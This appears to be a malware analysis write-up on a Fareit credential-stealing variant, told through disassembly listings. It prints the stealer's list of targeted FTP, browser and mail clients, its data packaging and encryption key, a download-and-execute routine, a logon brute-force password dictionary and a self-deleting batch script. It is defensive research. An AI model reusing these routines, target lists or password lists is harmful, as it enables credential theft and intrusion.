.data:0041738A                 dd offset sub_407381    ; NCH Software Classic FTP
.data:0041738E                 dd offset sub_4075AC    ; NCH Software Fling
.data:00417392                 dd offset sub_4076A8    ; SoftX FTP Client
.data:00417396                 dd offset sub_407777    ; GPSoftware Directory Opus
.data:0041739A                 dd offset sub_407876    ; Coffee Cup Software
.data:0041739E                 dd offset sub_407AA2    ; LeapWare
.data:004173A2                 dd offset sub_407E43    ; Martin Prykryl WinSCP
.data:004173A6                 dd offset sub_407E8C    ; 32BitFTP
.data:004173AA                 dd offset sub_407EF4    ; Netdrive Sites Manager
.data:004173AE                 dd offset sub_408147    ; South River Technologies WebDrive
.data:004173B2                 dd offset sub_408190    ; FTP Control
.data:004173B6                 dd offset sub_408C66    ; Opera Software
.data:004173BA                 dd offset sub_408F72    ; ACEBit
.data:004173BE                 dd offset sub_409042    ; RhinoSoft FTPVoyager
.data:004173C2                 dd offset sub_409D67    ; Mozilla Firefox
.data:004173C6                 dd offset sub_409DEE    ; Mozilla Firefox
.data:004173CA                 dd offset sub_409EA4    ; Mozilla SeaMonkey
.data:004173CE                 dd offset sub_409F2B    ; Mozilla Flock
.data:004173D2                 dd offset sub_409FB2    ; Mozilla profiles
.data:004173D6                 dd offset sub_40A039    ; Leech FTP
.data:004173DA                 dd offset sub_40A0C5    ; WolfFTP SiteInfo.QFP
.data:004173DE                 dd offset sub_40A167    ; WinFTP
.data:004173E2                 dd offset sub_40A1E5    ; FTPSurfer
.data:004173E6                 dd offset sub_40A23F    ; FTPGetter
.data:004173EA                 dd offset sub_40A27A    ; ESTSoft ALFTP
.data:004173EE                 dd offset sub_40AACB    ; Internet Explorer
.data:004173F2                 dd offset sub_40B035    ; Adobe Software
.data:004173F6                 dd offset sub_40B066    ; DeluxeFTP
.data:004173FA                 dd offset sub_40C1F1    ; Google Chrome
.data:004173FE                 dd offset sub_40C222    ; Chromium
.data:00417402                 dd offset sub_40C253    ; Chrome Plus
.data:00417406                 dd offset sub_40C2DE    ; Bromium
.data:0041740A                 dd offset sub_40C30F    ; Nichrome
.data:0041740E                 dd offset sub_40C340    ; Comodo
.data:00417412                 dd offset sub_40C371    ; RockMelt
.data:00417416                 dd offset sub_40C3D2    ; K-meleon
.data:0041741A                 dd offset sub_40C4AF    ; Epic Software
.data:0041741E                 dd offset sub_40C539    ; Staff-FTP
.data:00417422                 dd offset sub_40C713    ; Visicom Media Software
.data:00417426                 dd offset sub_40C78C    ; Global Downloader
.data:0041742A                 dd offset sub_40C7CE    ; FreshFTP
.data:0041742E                 dd offset sub_40C846    ; FlashPeak BlazeFTP
.data:00417432                 dd offset sub_40C9AD    ; FTP++
.data:00417436                 dd offset sub_40CA0B    ; GoFTP
.data:0041743A                 dd offset sub_40CA7C    ; 3D-FTP
.data:0041743E                 dd offset sub_40CB97    ; EasyFTP
.data:00417442                 dd offset sub_40CC11    ; NetSarang
.data:00417446                 dd offset sub_40CFBE    ; Microsoft Windows Terminal Service (RDP)
.data:0041744A                 dd offset sub_40D013    ; FTPNow
.data:0041744E                 dd offset sub_40D37D    ; Robo-FTP 3.7
.data:00417452                 dd offset sub_40D3E1    ; Windows user private keys
.data:00417456                 dd offset sub_40D7B9    ; LinasFTP
.data:0041745A                 dd offset sub_40D9C4    ; Cyberduck
.data:0041745E                 dd offset sub_40DC01    ; Simon Tatham PuTTy
.data:00417462                 dd offset sub_40DC4A    ; Notepad++
.data:00417466                 dd offset sub_40DEBE    ; CoffeeCup Software
.data:0041746A                 dd offset sub_40DF07    ; FTP Shell
.data:0041746E                 dd offset sub_40DF85    ; MAS-Soft FTP
.data:00417472                 dd offset sub_40DFF4    ; NexusFile
.data:00417476                 dd offset sub_40E072    ; FastStone Browser
.data:0041747A                 dd offset sub_40E0F0    ; Maple Studio ChromePlus
.data:0041747E                 dd offset sub_40E46C    ; Nico Mak Computing WinZip
.data:00417482                 dd offset sub_40E4DA    ; Yandex
.data:00417486                 dd offset sub_40E50B    ; My FTP
.data:0041748A                 dd offset sub_40E5F1    ; A software using this particular GUID {74FF1730-B1F2-4D88-926B-1568FAE61DB7}
.data:0041748E                 dd offset sub_40E622    ; InSoftware NovaFTP
.data:00417492                 dd offset sub_40E8BE    ; Microsoft Windows LiveMail
.data:00417496                 dd offset sub_40E8F4    ; Microsoft Windows Mail
.data:0041749A                 dd offset sub_40E92A    ; RimArts Becky! Internet Mail
.data:0041749E                 dd offset sub_40EB66    ; Poco Systems Inc PocoMail
.data:004174A2                 dd offset sub_40EED1    ; IncrediMail
.data:004174A6                 dd offset sub_40F0B6    ; BatMail
.data:004174AA                 dd offset sub_40F763    ; Microsoft Outlook Mail
.data:004174AE                 dd offset sub_40F842    ; Mozilla ThunderBird
.data:004174B2                 dd offset sub_40F929    ; FastTrack FTP
In the function that steals info in Internet Explorer, it retrieves data for the Intelliform. Intelliform is an IE feature that has do something with autocomplete and saved password. This can be found in the registry under
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
. The data that this particular variant is interested in is the Intelliform that is with

The information taken from these accounts are stored in a stream space with the header name “PWDFILE0 1.0”.
.text:0040FBE6                 push    8
.text:0040FBE8                 push    offset aPwdfile0 ; "PWDFILE0"
.text:0040FBED                 push    [ebp+arg_0]
.text:0040FBF0                 call    WRITE_TO_STREAM
.text:0040FBF5                 push    8
.text:0040FBF7                 push    offset a1_0     ; "1.0"
.text:0040FBFC                 push    [ebp+arg_0]
.text:0040FBFF                 call    WRITE_TO_STREAM
This chunk of memory containing these sensitive information are then processed in some algorithm, in this case, the apLib data compression. After which, it gets a new header name: "PKDFILE0".
.text:00401847                 push    [ebp+var_C]
.text:0040184A                 push    [ebp+var_18]
.text:0040184D                 push    [ebp+var_10]
.text:00401850                 call    sub_411FA6      ; Some Algo
.text:00401855                 add     esp, 14h
.text:00401858                 mov     [ebp+var_8], eax
.text:0040185B                 push    [ebp+hMem]      ; hMem
.text:0040185E                 call    GlobalUnlock
.text:00401863                 push    [ebp+pstm]
.text:00401866                 call    ISTREAM_SET_SIZE
.text:0040186B                 push    8
.text:0040186D                 push    offset aPkdfile0 ; "PKDFILE0"
.text:00401872                 push    [ebp+pstm]
.text:00401875                 call    WRITE_TO_STREAM
.text:0040187A                 or      ebx, eax
And the last part before it sends the stolen info, it shoots the compressed data in some encryption using the key “cryptimplus”. And finally a header name: "CRYPTED0".
.text:0040FCE0                 push    offset aCryptimplus ; "cryptimplus"
.text:0040FCE5                 push    [ebp+pstm]      ; pstm
.text:0040FCE8                 call    sub_401A27      ; CRYPTED0
.text:0040FCED                 or      eax, eax
.text:00401AB4                 push    8
.text:00401AB6                 push    offset aCrypted0 ; "CRYPTED0"
.text:00401ABB                 push    [ebp+pstm]
.text:00401ABE                 call    WRITE_TO_STREAM
.text:00401AC3                 or      ebx, eax
.text:00401AC5                 push    [ebp+var_C]
Download and Execute
Does a download then execute process with an h00p GET.

.data:00414815 szUrl           db 'h00p://',0
.data:0041483E ah00pBmaca_orgK db 'h00p://',0
.data:00414859 ah00pWww_hetien db 'h00p://',0
.text:00403D10                 push    [ebp+var_4]
.text:00403D13                 push    [ebp+hMem]
.text:00403D16                 push    offset aGetSh00p1_0Hos ; "GET %s h00p/1.0\r\nHost: %s\r\nAccept: */*\r"...
.text:00403D1B                 push    [ebp+lpString]  ; LPSTR
.text:00403D1E                 call    wsprintfA
.text:00403D23                 add     esp, 10h
.text:00403D26                 movzx   eax, [ebp+UrlComponents.nPort]
.text:00403D2A                 push    eax
.text:00403D2B                 push    0
.text:00403D2D                 push    [ebp+var_4]
.text:00403D30                 call    _CONNECT

The files are downloaded using the current system tick count as its file name and .exe as its extension name. All are downloaded in the Temp folder.
.text:0040FF80                 push    104h            ; nBufferLength
.text:0040FF85                 call    GetTempPathA
.text:0040FF8A                 or      eax, eax
.text:0040FF8C                 jz      loc_410128
.text:0040FF92                 cmp     eax, 104h
.text:0040FF97                 ja      loc_410128
.text:0040FF9D                 call    GetTickCount
.text:0040FFA2                 push    eax
.text:0040FFA3                 push    offset aD_exe   ; "%d.exe"
.text:0040FFA8                 lea     eax, [ebp+var_13E]
.text:0040FFAE                 push    eax             ; LPSTR
.text:0040FFAF                 call    wsprintfA
.text:0040FFB4                 add     esp, 0Ch

If there has been a previous attempt to escalate the malware processes with administrative privileges, the downloaded files are executed in a manner that the same privileges will be inherited.
.text:004100AE                 push    eax             ; _DWORD
.text:004100AF                 call    CreateEnvironmentBlock
.text:004100B5                 or      eax, eax
.text:004100B7                 jz      short loc_410101
.text:004100B9                 lea     eax, [ebp+ProcessInformation]
.text:004100BF                 push    eax             ; lpProcessInformation
.text:004100C0                 lea     eax, [ebp+StartupInfo]
.text:004100C6                 push    eax             ; lpStartupInfo
.text:004100C7                 push    0               ; lpCurrentDirectory
.text:004100C9                 push    [ebp+lpEnvironment] ; lpEnvironment
.text:004100CF                 push    400h            ; dwCreationFlags
.text:004100D4                 push    0               ; bInheritHandles
.text:004100D6                 push    0               ; lpThreadAttributes
.text:004100D8                 push    0               ; lpProcessAttributes
.text:004100DA                 push    0               ; lpCommandLine
.text:004100DC                 push    [ebp+hMem]      ; lpApplicationName
.text:004100E2                 push    [ebp+hToken]    ; hToken
.text:004100E5                 call    CreateProcessAsUserA

If this execution fails, it proceeds with the ever popular ShellExecuteA.
.text:00410105                 push    0Ah             ; nShowCmd
.text:00410107                 push    0               ; lpDirectory
.text:00410109                 push    0               ; lpParameters
.text:0041010B                 push    [ebp+hMem]      ; lpFile
.text:00410111                 push    offset Operation ; "open"
.text:00410116                 push    0               ; hwnd
.text:00410118                 call    ShellExecuteA

More steals It also steals all the user account names and the group ID it belongs in from the computer this malware runs in.
.text:0041036A                 push    eax             ; totalentries
.text:0041036B                 lea     eax, [ebp+entriesread]
.text:0041036E                 push    eax             ; entriesread
.text:0041036F                 push    0FFFFFFFFh      ; prefmaxlen
.text:00410371                 lea     eax, [ebp+Buffer]
.text:00410374                 push    eax             ; bufptr
.text:00410375                 push    FILTER_NORMAL_ACCOUNT ; filter
.text:00410377                 push    3               ; level
.text:00410379                 push    0               ; servername
.text:0041037B                 call    NetUserEnum
.text:00410381                 mov     [ebp+var_18], eax
.text:00410384                 cmp     [ebp+var_18], 0
.text:00410388                 jz      short loc_410393
.text:0041038A                 cmp     [ebp+var_18], 0EAh
.text:00410391                 jnz     short loc_410407
.text:00410393 loc_410393:
.text:00410393                 push    [ebp+Buffer]
.text:00410396                 pop     [ebp+var_8]
.text:00410399                 cmp     [ebp+var_8], 0
.text:0041039D                 jz      short loc_4103F9
.text:0041039F                 mov     ebx, [ebp+var_8]
.text:004103A2                 jmp     short loc_4103E3
.text:004103A4 loc_4103A4:
.text:004103A4                 push    dword ptr [ebx+68h] ; lpWideCharStr - usri3_primary_group_id
.text:004103A7                 call    sub_402AB9
.text:004103AC                 mov     [ebp+var_20], eax
.text:004103AF                 push    dword ptr [ebx] ; lpWideCharStr - usri3_name
.text:004103B1                 call    sub_402AB9
.text:004103B6                 or      eax, eax

Attempt to make malware process run with administrative privileges To do this it first adjusts the malware process tokens to SeImpersonatePrivilege
.text:004029A2                 mov     [ebp+hObject], 0
.text:004029A9                 lea     eax, [ebp+Luid]
.text:004029AC                 push    eax             ; lpLuid
.text:004029AD                 push    [ebp+lpName]    ; lpName - "SeImpersonatePrivilege"
.text:004029B0                 push    0               ; lpSystemName
.text:004029B2                 call    LookupPrivilegeValueA
.text:004029B8                 or      eax, eax
.text:004029BA                 jz      short loc_402A17
.text:004029BC                 call    GetCurrentProcess
.text:004029C1                 mov     edx, eax
.text:004029C3                 lea     eax, [ebp+hObject]
.text:004029C6                 push    eax             ; TokenHandle
.text:004029C7                 push    TOKEN_ADJUST_PRIVILEGES ; DesiredAccess
.text:004029C9                 push    edx             ; ProcessHandle
.text:004029CA                 call    OpenProcessToken
.text:004029D0                 or      eax, eax
.text:004029D2                 jz      short loc_4029FD
.text:004029D4                 mov     [ebp+NewState.PrivilegeCount], 1
.text:004029DB                 push    [ebp+Luid.LowPart]
.text:004029DE                 pop     [ebp+NewState.Privileges.Luid.LowPart]
.text:004029E1                 push    [ebp+Luid.HighPart]
.text:004029E4                 pop     [ebp+NewState.Privileges.Luid.HighPart]
.text:004029E7                 cmp     [ebp+arg_4], 0
.text:004029EB                 jz      short loc_4029F6
.text:004029ED                 mov     [ebp+NewState.Privileges.Attributes], SE_PRIVILEGE_ENABLED
.text:004029F4                 jmp     short loc_4029FD
.text:004029F6 loc_4029F6:
.text:004029F6                 mov     [ebp+NewState.Privileges.Attributes], 0
.text:004029FD loc_4029FD:
.text:004029FD                 push    0               ; ReturnLength
.text:004029FF                 push    0               ; PreviousState
.text:00402A01                 push    10h             ; BufferLength
.text:00402A03                 lea     eax, [ebp+NewState]
.text:00402A06                 push    eax             ; NewState
.text:00402A07                 push    0               ; DisableAllPrivileges
.text:00402A09                 push    [ebp+hObject]   ; TokenHandle
.text:00402A0C                 call    AdjustTokenPrivileges

It locates the impersonated logged on username from the previously gathered account list. It first attempts a logon using the same username as its password.
.text:00410486                 push    eax             ; phToken
.text:00410487                 push    0               ; dwLogonProvider
.text:00410489                 push    2               ; dwLogonType
.text:0041048B                 push    dword ptr [ebx+4] ; lpszPassword
.text:0041048E                 push    0               ; lpszDomain
.text:00410490                 push    dword ptr [ebx+4] ; lpszUsername
.text:00410493                 call    LogonUserA
.text:00410499                 or      eax, eax

The next attempt uses the same username as its password, the difference is that the password is all lower case.
.text:004104B5                 push    eax             ; cchDest
.text:004104B6                 push    [ebp+hMem]      ; lpDestStr
.text:004104B9                 push    eax             ; cchSrc
.text:004104BA                 push    dword ptr [ebx+4] ; lpSrcStr
.text:004104BD                 push    100h            ; dwMapFlags -  LCMAP_LOWERCASE
.text:004104C2                 push    400h            ; Locale
.text:004104C7                 call    LCMapStringA
.text:004104CC                 or      eax, eax
.text:004104CE                 jz      short loc_4104FB
.text:004104D0                 mov     [ebp+hObject], 0
.text:004104D7                 lea     eax, [ebp+hObject]
.text:004104DA                 push    eax             ; phToken
.text:004104DB                 push    0               ; dwLogonProvider
.text:004104DD                 push    2               ; dwLogonType
.text:004104DF                 push    [ebp+hMem]      ; lpszPassword
.text:004104E2                 push    0               ; lpszDomain
.text:004104E4                 push    dword ptr [ebx+4] ; lpszUsername
.text:004104E7                 call    LogonUserA

The final attempt would be from a list of passwords:
.text:00410503                 mov     edi, offset szPassword
.text:00410508 loc_410508:
.text:00410508                 mov     [ebp+hObject], 0
.text:0041050F                 lea     eax, [ebp+hObject]
.text:00410512                 push    eax             ; phToken
.text:00410513                 push    0               ; dwLogonProvider
.text:00410515                 push    2               ; dwLogonType
.text:00410517                 push    edi             ; lpszPassword
.text:00410518                 push    0               ; lpszDomain
.text:0041051A                 push    dword ptr [ebx+4] ; _DWORD
.text:0041051D                 call    LogonUserA

You might as well avoid these passwords:
.data:00414000 szPassword      db '123456',0
.data:00414007 aPassword_11    db 'password',0
.data:00414010 aPhpbb          db 'phpbb',0
.data:00414016 aQwerty         db 'qwerty',0
.data:0041401D a12345          db '12345',0
.data:00414023 aJesus          db 'jesus',0
.data:00414029 a12345678       db '12345678',0
.data:00414032 a1234           db '1234',0
.data:00414037 aAbc123         db 'abc123',0
.data:0041403E aLetmein        db 'letmein',0
.data:00414046 aTest           db 'test',0
.data:0041404B aLove           db 'love',0
.data:00414050 a123            db '123',0
.data:00414054 aPassword1      db 'password1',0
.data:0041405E aHello          db 'hello',0
.data:00414064 aMonkey         db 'monkey',0
.data:0041406B aDragon         db 'dragon',0
.data:00414072 aTrustno1       db 'trustno1',0
.data:0041407B a111111         db '111111',0
.data:00414082 aIloveyou       db 'iloveyou',0
.data:0041408B a1234567        db '1234567',0
.data:00414093 aShadow         db 'shadow',0
.data:0041409A a123456789      db '123456789',0
.data:004140A4 aChrist         db 'christ',0
.data:004140AB aSunshine       db 'sunshine',0
.data:004140B4 aMaster         db 'master',0
.data:004140BB aComputer       db 'computer',0
.data:004140C4 aPrincess       db 'princess',0
.data:004140CD aTigger         db 'tigger',0
.data:004140D4 aFootball       db 'football',0
.data:004140DD aAngel          db 'angel',0
.data:004140E3 aJesus1         db 'jesus1',0
.data:004140EA a123123         db '123123',0
.data:004140F1 aWhatever       db 'whatever',0
.data:004140FA aFreedom        db 'freedom',0
.data:00414102 aKiller         db 'killer',0
.data:00414109 aAsdf           db 'asdf',0
.data:0041410E aSoccer         db 'soccer',0
.data:00414115 aSuperman       db 'superman',0
.data:0041411E aMichael        db 'michael',0
.data:00414126 aCheese         db 'cheese',0
.data:0041412D aInternet       db 'internet',0
.data:00414136 aJoshua         db 'joshua',0
.data:0041413D aFuckyou        db 'fuckyou',0
.data:00414145 aBlessed        db 'blessed',0
.data:0041414D aBaseball       db 'baseball',0
.data:00414156 aStarwars       db 'starwars',0
.data:0041415F a000000         db '000000',0
.data:00414166 aPurple         db 'purple',0
.data:0041416D aJordan         db 'jordan',0
.data:00414174 aFaith          db 'faith',0
.data:0041417A aSummer         db 'summer',0
.data:00414181 aAshley         db 'ashley',0
.data:00414188 aBuster         db 'buster',0
.data:0041418F aHeaven         db 'heaven',0
.data:00414196 aPepper         db 'pepper',0
.data:0041419D a7777777        db '7777777',0
.data:004141A5 aHunter         db 'hunter',0
.data:004141AC aLovely         db 'lovely',0
.data:004141B3 aAndrew         db 'andrew',0
.data:004141BA aThomas         db 'thomas',0
.data:004141C1 aAngels         db 'angels',0
.data:004141C8 aCharlie        db 'charlie',0
.data:004141D0 aDaniel         db 'daniel',0
.data:004141D7 a1111           db '1111',0
.data:004141DC aJennifer       db 'jennifer',0
.data:004141E5 aSingle         db 'single',0
.data:004141EC aHannah         db 'hannah',0
.data:004141F3 aQazwsx         db 'qazwsx',0
.data:004141FA aHappy          db 'happy',0
.data:00414200 aMatrix         db 'matrix',0
.data:00414207 aPass_1         db 'pass',0
.data:0041420C aAaaaaa         db 'aaaaaa',0
.data:00414213 a654321         db '654321',0
.data:0041421A aAmanda         db 'amanda',0
.data:00414221 aNothing        db 'nothing',0
.data:00414229 aGinger         db 'ginger',0
.data:00414230 aMother         db 'mother',0
.data:00414237 aSnoopy         db 'snoopy',0
.data:0041423E aJessica        db 'jessica',0
.data:00414246 aWelcome        db 'welcome',0
.data:0041424E aPokemon        db 'pokemon',0
.data:00414256 aIloveyou1      db 'iloveyou1',0
.data:00414260 a11111          db '11111',0
.data:00414266 aMustang        db 'mustang',0
.data:0041426E aHelpme         db 'helpme',0
.data:00414275 aJustin         db 'justin',0
.data:0041427C aJasmine        db 'jasmine',0
.data:00414284 aOrange         db 'orange',0
.data:0041428B aTesting        db 'testing',0
.data:00414293 aApple          db 'apple',0
.data:00414299 aMichelle       db 'michelle',0
.data:004142A2 aPeace          db 'peace',0
.data:004142A8 aSecret         db 'secret',0
.data:004142AF a1              db '1',0
.data:004142B1 aGrace          db 'grace',0
.data:004142B7 aWilliam        db 'william',0
.data:004142BF aIloveyou2      db 'iloveyou2',0
.data:004142C9 aNicole         db 'nicole',0
.data:004142D0 a666666         db '666666',0
.data:004142D7 aMuffin         db 'muffin',0
.data:004142DE aGateway        db 'gateway',0
.data:004142E6 aFuckyou1       db 'fuckyou1',0
.data:004142EF aAsshole        db 'asshole',0
.data:004142F7 aHahaha         db 'hahaha',0
.data:004142FE aPoop           db 'poop',0
.data:00414303 aBlessing       db 'blessing',0
.data:0041430C aBlahblah       db 'blahblah',0
.data:00414315 aMyspace1       db 'myspace1',0
.data:0041431E aMatthew        db 'matthew',0
.data:00414326 aCanada         db 'canada',0
.data:0041432D aSilver         db 'silver',0
.data:00414334 aRobert         db 'robert',0
.data:0041433B aForever        db 'forever',0
.data:00414343 aAsdfgh         db 'asdfgh',0
.data:0041434A aRachel         db 'rachel',0
.data:00414351 aRainbow        db 'rainbow',0
.data:00414359 aGuitar         db 'guitar',0
.data:00414360 aPeanut         db 'peanut',0
.data:00414367 aBatman         db 'batman',0
.data:0041436E aCookie         db 'cookie',0
.data:00414375 aBailey         db 'bailey',0
.data:0041437C aSoccer1        db 'soccer1',0
.data:00414384 aMickey         db 'mickey',0
.data:0041438B aBiteme         db 'biteme',0
.data:00414392 aHello1         db 'hello1',0
.data:00414399 aEminem         db 'eminem',0
.data:004143A0 aDakota         db 'dakota',0
.data:004143A7 aSamantha       db 'samantha',0
.data:004143B0 aCompaq         db 'compaq',0
.data:004143B7 aDiamond        db 'diamond',0
.data:004143BF aTaylor         db 'taylor',0
.data:004143C6 aForum          db 'forum',0
.data:004143CC aJohn316        db 'john316',0
.data:004143D4 aRichard        db 'richard',0
.data:004143DC aBlink182       db 'blink182',0
.data:004143E5 aPeaches        db 'peaches',0
.data:004143ED aCool           db 'cool',0
.data:004143F2 aFlower         db 'flower',0
.data:004143F9 aScooter        db 'scooter',0
.data:00414401 aBanana         db 'banana',0
.data:00414408 aJames          db 'james',0
.data:0041440E aAsdfasdf       db 'asdfasdf',0
.data:00414417 aVictory        db 'victory',0
.data:0041441F aLondon         db 'london',0
.data:00414426 a123qwe         db '123qwe',0
.data:0041442D a123321         db '123321',0
.data:00414434 aStartrek       db 'startrek',0
.data:0041443D aGeorge         db 'george',0
.data:00414444 aWinner         db 'winner',0
.data:0041444B aMaggie         db 'maggie',0
.data:00414452 aTrinity        db 'trinity',0
.data:0041445A aOnline         db 'online',0
.data:00414461 a123abc         db '123abc',0
.data:00414468 aChicken        db 'chicken',0
.data:00414470 aJunior         db 'junior',0
.data:00414477 aChris          db 'chris',0
.data:0041447D aPassw0rd       db 'passw0rd',0
.data:00414486 aAustin         db 'austin',0
.data:0041448D aSparky         db 'sparky',0
.data:00414494 aAdmin          db 'admin',0
.data:0041449A aMerlin         db 'merlin',0
.data:004144A1 aGoogle         db 'google',0
.data:004144A8 aFriends        db 'friends',0
.data:004144B0 aHope           db 'hope',0
.data:004144B5 aShalom         db 'shalom',0
.data:004144BC aNintendo       db 'nintendo',0
.data:004144C5 aLooking        db 'looking',0
.data:004144CD aHarley         db 'harley',0
.data:004144D4 aSmokey         db 'smokey',0
.data:004144DB a7777           db '7777',0
.data:004144E0 aJoseph         db 'joseph',0
.data:004144E7 aLucky          db 'lucky',0
.data:004144ED aDigital        db 'digital',0
.data:004144F5 aA              db 'a',0
.data:004144F7 aThunder        db 'thunder',0
.data:004144FF aSpirit         db 'spirit',0
.data:00414506 aBandit         db 'bandit',0
.data:0041450D aEnter          db 'enter',0
.data:00414513 aAnthony        db 'anthony',0
.data:0041451B aCorvette       db 'corvette',0
.data:00414524 aHockey         db 'hockey',0
.data:0041452B aPower          db 'power',0
.data:00414531 aBenjamin       db 'benjamin',0
.data:0041453A aIloveyou_0     db 'iloveyou!',0
.data:00414544 a1q2w3e         db '1q2w3e',0
.data:0041454B aViper          db 'viper',0
.data:00414551 aGenesis        db 'genesis',0
.data:00414559 aKnight         db 'knight',0
.data:00414560 aQwerty1        db 'qwerty1',0
.data:00414568 aCreative       db 'creative',0
.data:00414571 aFoobar         db 'foobar',0
.data:00414578 aAdidas         db 'adidas',0
.data:0041457F aRotimi         db 'rotimi',0
.data:00414586 aSlayer         db 'slayer',0
.data:0041458D aWisdom         db 'wisdom',0
.data:00414594 aPraise         db 'praise',0
.data:0041459B aZxcvbnm        db 'zxcvbnm',0
.data:004145A3 aSamuel         db 'samuel',0
.data:004145AA aMike           db 'mike',0
.data:004145AF aDallas         db 'dallas',0
.data:004145B6 aGreen          db 'green',0
.data:004145BC aTesttest       db 'testtest',0
.data:004145C5 aMaverick       db 'maverick',0
.data:004145CE aOnelove        db 'onelove',0
.data:004145D6 aDavid          db 'david',0
.data:004145DC aMylove         db 'mylove',0
.data:004145E3 aChurch         db 'church',0
.data:004145EA aFriend         db 'friend',0
.data:004145F1 aGod            db 'god',0
.data:004145F5 aDestiny        db 'destiny',0
.data:004145FD aNone           db 'none',0
.data:00414602 aMicrosoft      db 'microsoft',0
.data:0041460C a222222         db '222222',0
.data:00414613 aBubbles        db 'bubbles',0
.data:0041461B a11111111       db '11111111',0
.data:00414624 aCocacola       db 'cocacola',0
.data:0041462D aJordan23       db 'jordan23',0
.data:00414636 aIlovegod       db 'ilovegod',0
.data:0041463F aFootball1      db 'football1',0
.data:00414649 aLoving         db 'loving',0
.data:00414650 aNathan         db 'nathan',0
.data:00414657 aEmmanuel       db 'emmanuel',0
.data:00414660 aScooby         db 'scooby',0
.data:00414667 aFuckoff        db 'fuckoff',0
.data:0041466F aSammy          db 'sammy',0
.data:00414675 aMaxwell        db 'maxwell',0
.data:0041467D aJason          db 'jason',0
.data:00414683 aJohn           db 'john',0
.data:00414688 a1q2w3e4r       db '1q2w3e4r',0
.data:00414691 aBaby           db 'baby',0
.data:00414696 aRed123         db 'red123',0
.data:0041469D aBlabla         db 'blabla',0
.data:004146A4 aPrince         db 'prince',0
.data:004146AB aQwert          db 'qwert',0
.data:004146B1 aChelsea        db 'chelsea',0
.data:004146B9 a55555          db '55555',0
.data:004146BF aAngel1         db 'angel1',0
.data:004146C6 aHardcore       db 'hardcore',0
.data:004146CF aDexter         db 'dexter',0
.data:004146D6 aSaved          db 'saved',0
.data:004146DC a112233         db '112233',0
.data:004146E3 aHallo          db 'hallo',0
.data:004146E9 aJasper         db 'jasper',0
.data:004146F0 aDanielle       db 'danielle',0
.data:004146F9 aKitten         db 'kitten',0
.data:00414700 aCassie         db 'cassie',0
.data:00414707 aStella         db 'stella',0
.data:0041470E aPrayer         db 'prayer',0
.data:00414715 aHotdog         db 'hotdog',0
.data:0041471C aWindows        db 'windows',0
.data:00414724 aMustdie        db 'mustdie',0
.data:0041472C aGates          db 'gates',0
.data:00414732 aBillgates      db 'billgates',0
.data:0041473C aGhbdtn         db 'ghbdtn',0
.data:00414743 aGfhjkm         db 'gfhjkm',0
.data:0041474A a1234567890     db '1234567890',0

In a success, the changes the privilege same as the currently logged on user:
.text:00410564                 push    eax
.text:00410565                 push    [ebp+hObject]
.text:00410568                 call    LoadUserProfileA
.text:0041056D                 or      eax, eax
.text:0041056F                 jz      short loc_410589
.text:00410571                 cmp     [ebp+var_C], 0
.text:00410575                 jz      short loc_410580
.text:00410577                 push    [ebp+var_C]
.text:0041057A                 pop     hKey
.text:00410580 loc_410580:
.text:00410580                 mov     [ebp+var_2C], 1
.text:00410587                 jmp     short loc_410590
.text:00410589 loc_410589:
.text:00410589                 mov     [ebp+var_2C], 0
.text:00410590 loc_410590:
.text:00410590                 push    [ebp+hObject]   ; _DWORD
.text:00410593                 call    ImpersonateLoggedOnUser
.text:00410599                 or      eax, eax

Now with better privileges, it does the whole stealing process again.
Clean up Yes it does delete the file where it came from. It creates a batch file that contains a code that deletes the malware execute file and the batch file itself. It uses the current tick count as the batch file’s filename.
.text:00410183                 call    GetTickCount
.text:00410188                 push    eax
.text:00410189                 push    offset aD_bat   ; "%d.bat"
.text:0041018E                 push    [ebp+lpString2] ; LPSTR
.text:00410191                 call    wsprintfA

Retrieves the malware file name:
.text:004101E3                 push    104h            ; nSize
.text:004101E8                 push    [ebp+hMem]      ; lpFilename
.text:004101EB                 push    hModule         ; hModule
.text:004101F1                 call    GetModuleFileNameA

Looks for the Windows Temp path:
.text:00410202                 push    104h            ; nBufferLength
.text:00410207                 call    GetTempPathA

Then creates the batch file:
.text:00410220                 mov     edx, edx
.text:00410222                 push    0               ; hTemplateFile
.text:00410224                 push    0               ; dwFlagsAndAttributes
.text:00410226                 push    2               ; dwCreationDisposition
.text:00410228                 push    0               ; lpSecurityAttributes
.text:0041022A                 push    3               ; dwShareMode
.text:0041022C                 push    0C0000000h      ; dwDesiredAccess
.text:00410231                 push    [ebp+lpFileName] ; lpFileName
.text:00410234                 call    CreateFileA

That contains:
    del      %1 
if     exist     %1     goto 
del    %0

The batch file is then executed with two parameters: the batch file name and the malware file name.
Different variants of Fareit have been around for quite some time. The malware’s effectiveness could have been very useful for the malware authors especially that it has account stealing and malware downloading payloads.
With this information, we hope this could help administrators secure their machines then their clients better.